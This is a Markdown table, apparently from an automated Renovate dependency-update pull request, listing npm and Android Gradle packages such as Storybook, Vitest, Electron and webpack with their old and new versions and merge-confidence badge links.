| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.57.1` -> `0.57.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.57.1/0.57.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.54.0` -> `8.55.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.54.0/8.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.54.0/8.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.15` -> `1.10.17`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.15/1.10.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.15/1.10.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`22.13.1` -> `22.13.4`](https://renovatebot.com/diffs/npm/@types%2fnode/22.13.1/22.13.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/22.13.1/22.13.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.8` -> `19.0.10`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.8/19.0.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.8/19.0.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.3` -> `19.0.4`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.3/19.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.3/19.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [bullmq](https://bullmq.io/) ([source](https://redirect.github.com/taskforcesh/bullmq)) | [`5.40.2` -> `5.41.2`](https://renovatebot.com/diffs/npm/bullmq/5.40.2/5.41.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/bullmq/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/bullmq/5.40.2/5.41.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron](https://redirect.github.com/electron/electron) | [`34.1.1` -> `34.2.0`](https://renovatebot.com/diffs/npm/electron/34.1.1/34.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/34.1.1/34.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron-updater](https://redirect.github.com/electron-userland/electron-builder) ([source](https://redirect.github.com/electron-userland/electron-builder/tree/HEAD/packages/electron-updater)) | [`6.5.0` -> `6.6.0`](https://renovatebot.com/diffs/npm/electron-updater/6.5.0/6.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-updater/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-updater/6.5.0/6.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fast-xml-parser](https://redirect.github.com/NaturalIntelligence/fast-xml-parser) | [`4.5.1` -> `4.5.2`](https://renovatebot.com/diffs/npm/fast-xml-parser/4.5.1/4.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fast-xml-parser/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fast-xml-parser/4.5.1/4.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.2.2` -> `9.3.0`](https://renovatebot.com/diffs/npm/html-validate/9.2.2/9.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.2.2/9.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [inquirer](https://redirect.github.com/SBoudrias/Inquirer.js/blob/main/packages/inquirer/README.md) ([source](https://redirect.github.com/SBoudrias/Inquirer.js)) | [`12.4.1` -> `12.4.2`](https://renovatebot.com/diffs/npm/inquirer/12.4.1/12.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/inquirer/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/inquirer/12.4.1/12.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.12.0` -> `2.12.1`](https://renovatebot.com/diffs/npm/jotai/2.12.0/2.12.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.12.0/2.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nanoid](https://redirect.github.com/ai/nanoid) | [`5.0.9` -> `5.1.0`](https://renovatebot.com/diffs/npm/nanoid/5.0.9/5.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nanoid/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nanoid/5.0.9/5.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.2.0` -> `5.4.0`](https://renovatebot.com/diffs/npm/nestjs-cls/5.2.0/5.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.2.0/5.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.83.0` -> `4.85.1`](https://renovatebot.com/diffs/npm/openai/4.83.0/4.85.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.5.0` -> `3.5.1`](https://renovatebot.com/diffs/npm/prettier/3.5.0/3.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.4.0` -> `15.4.1`](https://renovatebot.com/diffs/npm/react-i18next/15.4.0/15.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`2.3.2` -> `2.5.0`](https://renovatebot.com/diffs/npm/shiki/2.3.2/2.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/storybook/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.24.0` -> `8.24.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.24.0/8.24.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/vitest/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [webpack](https://redirect.github.com/webpack/webpack) | [`5.97.1` -> `5.98.0`](https://renovatebot.com/diffs/npm/webpack/5.97.1/5.98.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.library](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.application](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
